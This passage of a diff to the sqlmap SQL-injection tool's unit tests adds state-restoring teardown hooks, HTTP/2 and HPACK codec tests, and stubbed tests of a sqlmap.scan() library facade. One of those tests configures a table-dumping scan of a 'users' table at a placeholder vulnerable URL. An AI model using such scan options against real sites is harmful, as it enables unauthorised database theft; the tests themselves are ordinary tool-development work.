from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
|
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
|
|
@ -599,3 +599,7 @@ class TestTakeover(_GenericBase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -246,6 +246,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
|
||||||
|
|
||||||
def setUp(self):
|
def setUp(self):
|
||||||
self._gql = gi._gqlSend
|
self._gql = gi._gqlSend
|
||||||
|
self._conf = gi.conf
|
||||||
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
||||||
|
|
||||||
pages = {"true": MATCH, "false": NOMATCH}
|
pages = {"true": MATCH, "false": NOMATCH}
|
||||||
|
|
@ -259,6 +260,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
|
||||||
|
|
||||||
def tearDown(self):
|
def tearDown(self):
|
||||||
gi._gqlSend = self._gql
|
gi._gqlSend = self._gql
|
||||||
|
gi.conf = self._conf
|
||||||
|
|
||||||
def test_boolean_detected(self):
|
def test_boolean_detected(self):
|
||||||
slot = _slot("query", "Query", "user", "username", "string")
|
slot = _slot("query", "Query", "user", "username", "string")
|
||||||
|
|
@ -277,6 +279,7 @@ class TestGraphqlErrorDetection(unittest.TestCase):
|
||||||
|
|
||||||
def setUp(self):
|
def setUp(self):
|
||||||
self._gql = gi._gqlSend
|
self._gql = gi._gqlSend
|
||||||
|
self._conf = gi.conf
|
||||||
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
||||||
|
|
||||||
def fakeSend(endpoint, query, variables=None):
|
def fakeSend(endpoint, query, variables=None):
|
||||||
|
|
@ -287,6 +290,7 @@ class TestGraphqlErrorDetection(unittest.TestCase):
|
||||||
|
|
||||||
def tearDown(self):
|
def tearDown(self):
|
||||||
gi._gqlSend = self._gql
|
gi._gqlSend = self._gql
|
||||||
|
gi.conf = self._conf
|
||||||
|
|
||||||
def test_error_detected(self):
|
def test_error_detected(self):
|
||||||
slot = _slot("query", "Query", "user", "username", "string")
|
slot = _slot("query", "Query", "user", "username", "string")
|
||||||
|
|
@ -372,10 +376,12 @@ class TestGraphqlIntrospectionFallback(unittest.TestCase):
|
||||||
|
|
||||||
def setUp(self):
|
def setUp(self):
|
||||||
self._gql = gi._gqlSend
|
self._gql = gi._gqlSend
|
||||||
|
self._conf = gi.conf
|
||||||
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
||||||
|
|
||||||
def tearDown(self):
|
def tearDown(self):
|
||||||
gi._gqlSend = self._gql
|
gi._gqlSend = self._gql
|
||||||
|
gi.conf = self._conf
|
||||||
|
|
||||||
def test_fallback_without_specifiedByURL(self):
|
def test_fallback_without_specifiedByURL(self):
|
||||||
calls = []
|
calls = []
|
||||||
|
|
|
||||||
283
tests/test_http2.py
Normal file
283
tests/test_http2.py
Normal file
|
|
@ -0,0 +1,283 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
|
Unit coverage for the PURE (network-free) parts of the native HTTP/2 client in
|
||||||
|
lib/request/http2.py: the RFC 7540 frame codec, the RFC 7541 HPACK integer /
|
||||||
|
Huffman / string primitives, the HPACK Decoder/Encoder (static + dynamic table),
|
||||||
|
and the urllib-compatible H2Response wrapper.
|
||||||
|
|
||||||
|
Nothing here opens a socket or negotiates TLS - only the deterministic codecs and
|
||||||
|
the response adapter are exercised. Known vectors are the canonical RFC 7541
|
||||||
|
examples; everything else is a round-trip / invariant check.
|
||||||
|
|
||||||
|
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import binascii
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
from _testutils import bootstrap
|
||||||
|
bootstrap()
|
||||||
|
|
||||||
|
from lib.request.http2 import (
|
||||||
|
Decoder,
|
||||||
|
Encoder,
|
||||||
|
H2Response,
|
||||||
|
REDIRECT_CODES,
|
||||||
|
STATIC_LEN,
|
||||||
|
STATIC_TABLE,
|
||||||
|
DATA,
|
||||||
|
HEADERS,
|
||||||
|
FLAG_END_HEADERS,
|
||||||
|
FLAG_END_STREAM,
|
||||||
|
decode_frame_header,
|
||||||
|
decode_integer,
|
||||||
|
decode_string,
|
||||||
|
encode_frame,
|
||||||
|
encode_integer,
|
||||||
|
encode_string,
|
||||||
|
huffman_decode,
|
||||||
|
huffman_encode,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _b(*ints):
|
||||||
|
# build a bytes object from ints (identical on Python 2 and 3)
|
||||||
|
return bytes(bytearray(ints))
|
||||||
|
|
||||||
|
|
||||||
|
class TestFrameCodec(unittest.TestCase):
|
||||||
|
def test_roundtrip(self):
|
||||||
|
header = encode_frame(HEADERS, FLAG_END_HEADERS, 1, b"abc")[:9]
|
||||||
|
self.assertEqual(decode_frame_header(header), (3, HEADERS, FLAG_END_HEADERS, 1))
|
||||||
|
|
||||||
|
def test_payload_is_appended_verbatim(self):
|
||||||
|
frame = encode_frame(DATA, 0, 1, b"hello")
|
||||||
|
self.assertEqual(frame[9:], b"hello")
|
||||||
|
|
||||||
|
def test_reserved_stream_bit_is_masked(self):
|
||||||
|
# the high (reserved) bit of the 31-bit stream id must be dropped on both ends
|
||||||
|
header = encode_frame(DATA, 0, 0x80000001, b"")[:9]
|
||||||
|
self.assertEqual(decode_frame_header(header), (0, DATA, 0, 1))
|
||||||
|
|
||||||
|
def test_zero_length_payload(self):
|
||||||
|
header = encode_frame(DATA, FLAG_END_STREAM, 1, b"")[:9]
|
||||||
|
length, _, flags, _ = decode_frame_header(header)
|
||||||
|
self.assertEqual(length, 0)
|
||||||
|
self.assertEqual(flags, FLAG_END_STREAM)
|
||||||
|
|
||||||
|
def test_oversized_payload_rejected(self):
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
encode_frame(DATA, 0, 1, b"x" * (0xFFFFFF + 1))
|
||||||
|
|
||||||
|
def test_bad_header_length_rejected(self):
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
decode_frame_header(b"123")
|
||||||
|
|
||||||
|
|
||||||
|
class TestIntegerCoding(unittest.TestCase):
|
||||||
|
def test_rfc_c11_small(self):
|
||||||
|
# RFC 7541 C.1.1: 10 with a 5-bit prefix fits in the prefix
|
||||||
|
self.assertEqual(list(encode_integer(10, 5)), [10])
|
||||||
|
|
||||||
|
def test_rfc_c12_multibyte(self):
|
||||||
|
# RFC 7541 C.1.2: 1337 with a 5-bit prefix
|
||||||
|
self.assertEqual(list(encode_integer(1337, 5)), [31, 154, 10])
|
||||||
|
self.assertEqual(decode_integer(bytearray([31, 154, 10]), 0, 5), (1337, 3))
|
||||||
|
|
||||||
|
def test_rfc_c13_full_byte_prefix(self):
|
||||||
|
# RFC 7541 C.1.3: 42 starting from a full (8-bit prefix at an octet boundary)
|
||||||
|
self.assertEqual(list(encode_integer(42, 8)), [42])
|
||||||
|
|
||||||
|
def test_roundtrip_across_prefixes(self):
|
||||||
|
for prefix in (4, 5, 6, 7, 8):
|
||||||
|
for value in (0, 1, 2, 30, 31, 32, 127, 128, 255, 256, 16384, 1000000):
|
||||||
|
encoded = bytearray(encode_integer(value, prefix))
|
||||||
|
decoded, pos = decode_integer(encoded, 0, prefix)
|
||||||
|
self.assertEqual(decoded, value)
|
||||||
|
self.assertEqual(pos, len(encoded))
|
||||||
|
|
||||||
|
def test_first_byte_bits_preserved(self):
|
||||||
|
# a caller-supplied opcode in the high bits must survive a small value
|
||||||
|
self.assertEqual(bytearray(encode_integer(5, 7, 0x80))[0], 0x80 | 5)
|
||||||
|
|
||||||
|
|
||||||
|
class TestHuffman(unittest.TestCase):
|
||||||
|
def test_known_vector_www_example_com(self):
|
||||||
|
# RFC 7541 C.4.1
|
||||||
|
self.assertEqual(binascii.hexlify(huffman_encode(b"www.example.com")), b"f1e3c2e5f23a6ba0ab90f4ff")
|
||||||
|
|
||||||
|
def test_empty(self):
|
||||||
|
self.assertEqual(huffman_encode(b""), b"")
|
||||||
|
self.assertEqual(huffman_decode(b""), b"")
|
||||||
|
|
||||||
|
def test_roundtrip(self):
|
||||||
|
for sample in (b"a", b"hello world", b"/index.html?a=1&b=2",
|
||||||
|
b"GET", b"application/json", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
|
||||||
|
bytes(bytearray(range(256)))):
|
||||||
|
self.assertEqual(huffman_decode(huffman_encode(sample)), sample)
|
||||||
|
|
||||||
|
def test_shrinks_typical_text(self):
|
||||||
|
sample = b"www.example.com"
|
||||||
|
self.assertLess(len(huffman_encode(sample)), len(sample))
|
||||||
|
|
||||||
|
def test_padding_too_long_rejected(self):
|
||||||
|
# 0xfe walks eight 1-bits into a long (unterminated) code -> more than a byte of padding
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
huffman_decode(_b(0xFE))
|
||||||
|
|
||||||
|
|
||||||
|
class TestStringCoding(unittest.TestCase):
|
||||||
|
def test_huffman_branch_roundtrip(self):
|
||||||
|
encoded = encode_string(b"custom-value")
|
||||||
|
self.assertTrue(bytearray(encoded)[0] & 0x80) # huffman flag set for compressible text
|
||||||
|
self.assertEqual(decode_string(bytearray(encoded), 0), (b"custom-value", len(encoded)))
|
||||||
|
|
||||||
|
def test_literal_branch_when_huffman_would_not_shrink(self):
|
||||||
|
encoded = encode_string(_b(0xFF))
|
||||||
|
self.assertFalse(bytearray(encoded)[0] & 0x80) # falls back to a literal string
|
||||||
|
self.assertEqual(decode_string(bytearray(encoded), 0), (_b(0xFF), len(encoded)))
|
||||||
|
|
||||||
|
def test_disable_huffman(self):
|
||||||
|
encoded = encode_string(b"abc", huffman=False)
|
||||||
|
self.assertFalse(bytearray(encoded)[0] & 0x80)
|
||||||
|
self.assertEqual(decode_string(bytearray(encoded), 0), (b"abc", len(encoded)))
|
||||||
|
|
||||||
|
|
||||||
|
class TestHpackDecoder(unittest.TestCase):
|
||||||
|
def test_indexed_static_entries(self):
|
||||||
|
# 0x82/0x86/0x84 -> static indices 2, 6, 4
|
||||||
|
self.assertEqual(
|
||||||
|
Decoder().decode(_b(0x82, 0x86, 0x84)),
|
||||||
|
[(b":method", b"GET"), (b":scheme", b"http"), (b":path", b"/")],
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_static_lookup_bounds(self):
|
||||||
|
d = Decoder()
|
||||||
|
self.assertEqual(d._get(1), (b":authority", b""))
|
||||||
|
self.assertEqual(d._get(2), (b":method", b"GET"))
|
||||||
|
self.assertEqual(d._get(STATIC_LEN), STATIC_TABLE[-1])
|
||||||
|
|
||||||
|
def test_index_zero_rejected(self):
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
Decoder()._get(0)
|
||||||
|
|
||||||
|
def test_index_out_of_range_rejected(self):
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
Decoder()._get(STATIC_LEN + 1) # no dynamic entries yet
|
||||||
|
|
||||||
|
def test_literal_incremental_indexing_populates_dynamic_table(self):
|
||||||
|
# 0x40 = literal with incremental indexing, new name
|
||||||
|
block = bytearray([0x40]) + encode_string(b"custom-key") + encode_string(b"custom-value")
|
||||||
|
d = Decoder()
|
||||||
|
self.assertEqual(d.decode(bytes(block)), [(b"custom-key", b"custom-value")])
|
||||||
|
# entry is now addressable at the first dynamic index (STATIC_LEN + 1)
|
||||||
|
self.assertEqual(d._get(STATIC_LEN + 1), (b"custom-key", b"custom-value"))
|
||||||
|
self.assertEqual(d._size, 32 + len(b"custom-key") + len(b"custom-value"))
|
||||||
|
|
||||||
|
def test_literal_without_indexing_does_not_touch_dynamic_table(self):
|
||||||
|
block = bytearray([0x00]) + encode_string(b"k") + encode_string(b"v")
|
||||||
|
d = Decoder()
|
||||||
|
self.assertEqual(d.decode(bytes(block)), [(b"k", b"v")])
|
||||||
|
self.assertEqual(d.dynamic, [])
|
||||||
|
|
||||||
|
def test_dynamic_table_eviction(self):
|
||||||
|
d = Decoder(max_size=40) # each 2+2 byte entry costs 32+2+2 = 36
|
||||||
|
d._add(b"aa", b"bb")
|
||||||
|
self.assertEqual(len(d.dynamic), 1)
|
||||||
|
d._add(b"cc", b"dd") # 72 > 40 -> oldest evicted
|
||||||
|
self.assertEqual(d.dynamic, [(b"cc", b"dd")])
|
||||||
|
self.assertEqual(d._size, 36)
|
||||||
|
|
||||||
|
def test_dynamic_size_update_clears(self):
|
||||||
|
d = Decoder()
|
||||||
|
d._add(b"x", b"y")
|
||||||
|
d.decode(_b(0x20)) # 0x20 = dynamic table size update to 0
|
||||||
|
self.assertEqual(d.max_size, 0)
|
||||||
|
self.assertEqual(d.dynamic, [])
|
||||||
|
|
||||||
|
|
||||||
|
class TestHpackEncoderRoundTrip(unittest.TestCase):
|
||||||
|
def test_roundtrip_through_decoder(self):
|
||||||
|
headers = [
|
||||||
|
(b":method", b"GET"),
|
||||||
|
(b":scheme", b"https"),
|
||||||
|
(b":path", b"/a/b?c=d"),
|
||||||
|
(b":authority", b"example.com"),
|
||||||
|
(b"user-agent", b"sqlmap"),
|
||||||
|
(b"accept", b""), # empty value
|
||||||
|
(b"x-custom", b"\x00\x01\xff"), # non-ASCII value
|
||||||
|
]
|
||||||
|
self.assertEqual(Decoder().decode(Encoder().encode(headers)), headers)
|
||||||
|
|
||||||
|
def test_encoder_output_is_bytes(self):
|
||||||
|
self.assertIsInstance(Encoder().encode([(b"a", b"b")]), bytes)
|
||||||
|
|
||||||
|
|
||||||
|
class TestH2Response(unittest.TestCase):
|
||||||
|
def _make(self, status=200, headers=None, body=b"body"):
|
||||||
|
headers = headers if headers is not None else [(b":status", b"200"), (b"content-type", b"text/html")]
|
||||||
|
return H2Response("https://target/x", status, headers, body)
|
||||||
|
|
||||||
|
def test_basic_fields(self):
|
||||||
|
r = self._make()
|
||||||
|
self.assertEqual(r.code, 200)
|
||||||
|
self.assertEqual(r.status, 200)
|
||||||
|
self.assertEqual(r.msg, "OK")
|
||||||
|
self.assertEqual(r.http_version, "HTTP/2.0")
|
||||||
|
self.assertEqual(r.geturl(), "https://target/x")
|
||||||
|
|
||||||
|
def test_unknown_status_message(self):
|
||||||
|
self.assertEqual(self._make(status=799).msg, "")
|
||||||
|
|
||||||
|
def test_pseudo_headers_stripped(self):
|
||||||
|
r = self._make()
|
||||||
|
self.assertNotIn(":status", r.info())
|
||||||
|
self.assertEqual(r.info().get("content-type"), "text/html")
|
||||||
|
|
||||||
|
def test_read_full_then_empty(self):
|
||||||
|
r = self._make(body=b"hello")
|
||||||
|
self.assertEqual(r.read(), b"hello")
|
||||||
|
self.assertEqual(r.read(), b"") # offset exhausted
|
||||||
|
|
||||||
|
def test_read_in_chunks(self):
|
||||||
|
r = self._make(body=b"abcdef")
|
||||||
|
self.assertEqual(r.read(2), b"ab")
|
||||||
|
self.assertEqual(r.read(3), b"cde")
|
||||||
|
self.assertEqual(r.read(10), b"f") # asking past the end returns the remainder
|
||||||
|
self.assertEqual(r.read(10), b"")
|
||||||
|
|
||||||
|
def test_str_header_names_accepted(self):
|
||||||
|
# headers may arrive already decoded to str (not only bytes)
|
||||||
|
r = H2Response("https://t/", 200, [("content-type", "application/json")], b"{}")
|
||||||
|
self.assertEqual(r.info().get("content-type"), "application/json")
|
||||||
|
|
||||||
|
def test_mimetools_style_headers_list(self):
|
||||||
|
# patchHeaders() relies on a '.headers' list of "Name: value\r\n" lines being present
|
||||||
|
r = self._make()
|
||||||
|
self.assertTrue(hasattr(r.info(), "headers"))
|
||||||
|
self.assertIn("content-type: text/html\r\n", r.info().headers)
|
||||||
|
|
||||||
|
def test_close_is_noop(self):
|
||||||
|
self.assertIsNone(self._make().close())
|
||||||
|
|
||||||
|
|
||||||
|
class TestConstants(unittest.TestCase):
|
||||||
|
def test_redirect_codes(self):
|
||||||
|
for code in (301, 302, 303, 307, 308):
|
||||||
|
self.assertIn(code, REDIRECT_CODES)
|
||||||
|
self.assertNotIn(200, REDIRECT_CODES)
|
||||||
|
|
||||||
|
def test_static_table_length(self):
|
||||||
|
self.assertEqual(STATIC_LEN, len(STATIC_TABLE))
|
||||||
|
self.assertEqual(STATIC_LEN, 61) # RFC 7541 Appendix A
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main(verbosity=2)
|
||||||
|
|
@ -13,7 +13,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue
|
from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue
|
||||||
|
|
@ -83,3 +83,7 @@ class TestSafeCSValue(unittest.TestCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main(verbosity=2)
|
unittest.main(verbosity=2)
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -24,7 +24,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.data import conf, kb
|
from lib.core.data import conf, kb
|
||||||
|
|
@ -151,3 +151,7 @@ class TestSearchIsLogarithmic(_EngineCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main(verbosity=2)
|
unittest.main(verbosity=2)
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -16,6 +16,21 @@ bootstrap()
|
||||||
|
|
||||||
import lib.techniques.ldap.inject as ldap
|
import lib.techniques.ldap.inject as ldap
|
||||||
|
|
||||||
|
# several setUps here write these conf keys without restoring them; snapshot/restore at the module
|
||||||
|
# boundary so they can't leak into later test modules (order-dependent flakiness)
|
||||||
|
_LDAP_CONF_KEYS = ("parameters", "paramDict", "skipUrlEncode", "cookieDel")
|
||||||
|
_saved_conf = {}
|
||||||
|
|
||||||
|
def setUpModule():
|
||||||
|
from lib.core.data import conf
|
||||||
|
for k in _LDAP_CONF_KEYS:
|
||||||
|
_saved_conf[k] = conf.get(k)
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
from lib.core.data import conf
|
||||||
|
for k, v in _saved_conf.items():
|
||||||
|
conf[k] = v
|
||||||
|
|
||||||
# --- Helpers ----------------------------------------------------------------
|
# --- Helpers ----------------------------------------------------------------
|
||||||
|
|
||||||
SENTINEL = ldap.SENTINEL
|
SENTINEL = ldap.SENTINEL
|
||||||
|
|
|
||||||
139
tests/test_library.py
Normal file
139
tests/test_library.py
Normal file
|
|
@ -0,0 +1,139 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
|
Unit coverage for the library facade (import sqlmap; sqlmap.scan(...)).
|
||||||
|
|
||||||
|
The facade drives the engine out-of-process through a generated configuration file (the same '-c'
|
||||||
|
mechanism the REST API uses) and reads back a '--report-json' report. These tests stub
|
||||||
|
subprocess.Popen to (a) capture the argv/config sqlmap.scan() builds from its keyword options and
|
||||||
|
(b) feed back a canned report - keeping the test fast, offline and network-free (no real scan runs).
|
||||||
|
|
||||||
|
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
||||||
|
|
||||||
|
import sqlmap
|
||||||
|
|
||||||
|
|
||||||
|
class _FakePopen(object):
|
||||||
|
"""Stub that records argv/config and writes a canned report to the config's 'reportJson' path."""
|
||||||
|
|
||||||
|
captured = {}
|
||||||
|
returncode = 0
|
||||||
|
|
||||||
|
def __init__(self, argv, **kwargs):
|
||||||
|
_FakePopen.captured["argv"] = argv
|
||||||
|
_FakePopen.captured["kwargs"] = kwargs
|
||||||
|
with open(argv[argv.index("-c") + 1]) as f:
|
||||||
|
config = f.read()
|
||||||
|
_FakePopen.captured["config"] = config
|
||||||
|
report = re.search(r"(?im)^reportjson\s*=\s*(.+)$", config).group(1).strip()
|
||||||
|
with open(report, "w") as f:
|
||||||
|
json.dump({"success": True, "data": [{"type_name": "BANNER", "value": "3.45.1"}], "error": []}, f)
|
||||||
|
|
||||||
|
def wait(self, timeout=None):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
def poll(self):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
def kill(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class TestLibraryFacade(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self._realPopen = subprocess.Popen
|
||||||
|
subprocess.Popen = _FakePopen
|
||||||
|
_FakePopen.captured = {}
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
subprocess.Popen = self._realPopen
|
||||||
|
|
||||||
|
def test_requires_a_target(self):
|
||||||
|
subprocess.Popen = self._realPopen # never reached; guard fires first
|
||||||
|
self.assertRaises(sqlmap.SqlmapError, sqlmap.scan)
|
||||||
|
|
||||||
|
def test_rejects_unknown_option(self):
|
||||||
|
# a command line switch spelling (rather than a conf option name) must be rejected loudly
|
||||||
|
self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1", current_user=True)
|
||||||
|
|
||||||
|
def test_options_go_through_config(self):
|
||||||
|
result = sqlmap.scan("http://target/vuln.php?id=1", technique="BEU", dumpTable=True,
|
||||||
|
tbl="users", level=3, getBanner=True, raw=["--fresh-queries"])
|
||||||
|
argv = _FakePopen.captured["argv"]
|
||||||
|
config = _FakePopen.captured["config"]
|
||||||
|
# driven via a generated config file, stdin ignored, engine plumbing set - no arg escaping
|
||||||
|
self.assertIn("-c", argv)
|
||||||
|
self.assertIn("--ignore-stdin", argv)
|
||||||
|
self.assertIn("--fresh-queries", argv) # raw escape hatch stays on the CLI
|
||||||
|
# options land in the config using sqlmap's own (conf) names (ConfigParser lowercases keys)
|
||||||
|
self.assertTrue(re.search(r"(?im)^url\s*=\s*http://target/vuln.php\?id=1$", config))
|
||||||
|
self.assertTrue(re.search(r"(?im)^technique\s*=\s*BEU$", config))
|
||||||
|
self.assertTrue(re.search(r"(?im)^tbl\s*=\s*users$", config))
|
||||||
|
self.assertTrue(re.search(r"(?im)^level\s*=\s*3$", config))
|
||||||
|
self.assertTrue(re.search(r"(?im)^dumptable\s*=\s*True$", config))
|
||||||
|
self.assertTrue(re.search(r"(?im)^getbanner\s*=\s*True$", config))
|
||||||
|
self.assertTrue(re.search(r"(?im)^batch\s*=\s*True$", config))
|
||||||
|
self.assertTrue(re.search(r"(?im)^outputdir\s*=", config)) # each run isolated on disk
|
||||||
|
# file descriptors are not leaked to the engine (matches the REST API subprocess)
|
||||||
|
self.assertFalse(_FakePopen.captured["kwargs"].get("close_fds") and os.name == "nt")
|
||||||
|
# canned report is returned verbatim
|
||||||
|
self.assertTrue(result["success"])
|
||||||
|
self.assertEqual(result["data"][0]["value"], "3.45.1")
|
||||||
|
|
||||||
|
def test_scan_from_request_uses_request_file(self):
|
||||||
|
sqlmap.scanFromRequest("/tmp/req.txt", technique="U")
|
||||||
|
config = _FakePopen.captured["config"]
|
||||||
|
self.assertTrue(re.search(r"(?im)^requestfile\s*=\s*/tmp/req.txt$", config))
|
||||||
|
self.assertTrue(re.search(r"(?im)^technique\s*=\s*U$", config))
|
||||||
|
|
||||||
|
def test_missing_report_raises(self):
|
||||||
|
class _NoReportPopen(_FakePopen):
|
||||||
|
def __init__(self, argv, **kwargs):
|
||||||
|
_FakePopen.captured["argv"] = argv # write nothing -> no report file
|
||||||
|
subprocess.Popen = _NoReportPopen
|
||||||
|
self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1")
|
||||||
|
|
||||||
|
|
||||||
|
class TestReportErrorCapture(unittest.TestCase):
|
||||||
|
"""
|
||||||
|
The library tells failure modes apart (unreachable vs nothing-found) because a CLI --report-json
|
||||||
|
run now records error/critical log messages into the report 'error' array, like the REST API.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_errors_reach_the_report(self):
|
||||||
|
import logging
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID
|
||||||
|
|
||||||
|
# represent a normal run: the shared test bootstrap silences the logger (CRITICAL+1), which would
|
||||||
|
# otherwise gate the ERROR record before it reaches the recorder (order-dependent flakiness)
|
||||||
|
saved_level = logger.level
|
||||||
|
logger.setLevel(logging.ERROR)
|
||||||
|
collector = setupReportCollector()
|
||||||
|
try:
|
||||||
|
logger.error("boom %s", "here")
|
||||||
|
result = _assembleData(collector, REPORT_TASKID)
|
||||||
|
self.assertTrue(any("boom here" in _ for _ in result["error"]))
|
||||||
|
finally:
|
||||||
|
logger.setLevel(saved_level)
|
||||||
|
for handler in list(logger.handlers):
|
||||||
|
if isinstance(handler, ReportErrorRecorder):
|
||||||
|
logger.removeHandler(handler)
|
||||||
|
collector.disconnect()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main(verbosity=2)
|
||||||
|
|
@ -13,7 +13,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core import common as C
|
from lib.core import common as C
|
||||||
|
|
@ -123,3 +123,7 @@ class TestArrayHelpers(unittest.TestCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main(verbosity=2)
|
unittest.main(verbosity=2)
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -18,6 +18,21 @@ bootstrap()
|
||||||
|
|
||||||
import lib.techniques.nosql.inject as ni
|
import lib.techniques.nosql.inject as ni
|
||||||
|
|
||||||
|
# several setUps here write these conf keys without restoring them; snapshot/restore at the module
|
||||||
|
# boundary so they can't leak into later test modules (order-dependent flakiness)
|
||||||
|
_NOSQL_CONF_KEYS = ("parameters", "paramDict", "timeSec", "cookieDel")
|
||||||
|
_saved_conf = {}
|
||||||
|
|
||||||
|
def setUpModule():
|
||||||
|
from lib.core.data import conf
|
||||||
|
for k in _NOSQL_CONF_KEYS:
|
||||||
|
_saved_conf[k] = conf.get(k)
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
from lib.core.data import conf
|
||||||
|
for k, v in _saved_conf.items():
|
||||||
|
conf[k] = v
|
||||||
|
|
||||||
SECRET = "S3cr3t_9"
|
SECRET = "S3cr3t_9"
|
||||||
MATCH = "<html><body>Welcome user; rows: alpha, bravo, charlie</body></html>"
|
MATCH = "<html><body>Welcome user; rows: alpha, bravo, charlie</body></html>"
|
||||||
NOMATCH = "<html><body>Invalid credentials; no rows</body></html>"
|
NOMATCH = "<html><body>Invalid credentials; no rows</body></html>"
|
||||||
|
|
|
||||||
456
tests/test_openapi.py
Normal file
456
tests/test_openapi.py
Normal file
|
|
@ -0,0 +1,456 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
|
Unit coverage for the OpenAPI/Swagger target extractor (lib/parse/openapi.py): schema example
|
||||||
|
synthesis, $ref resolution (incl. cycles), base-URL resolution (v2 + v3, relative/templated servers),
|
||||||
|
request-body handling (JSON / form), parameter->PLACE mapping, and (importantly) graceful handling of
|
||||||
|
malformed / poorly-defined specifications (a broken spec must never crash or hang the parser).
|
||||||
|
|
||||||
|
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
|
||||||
|
"""
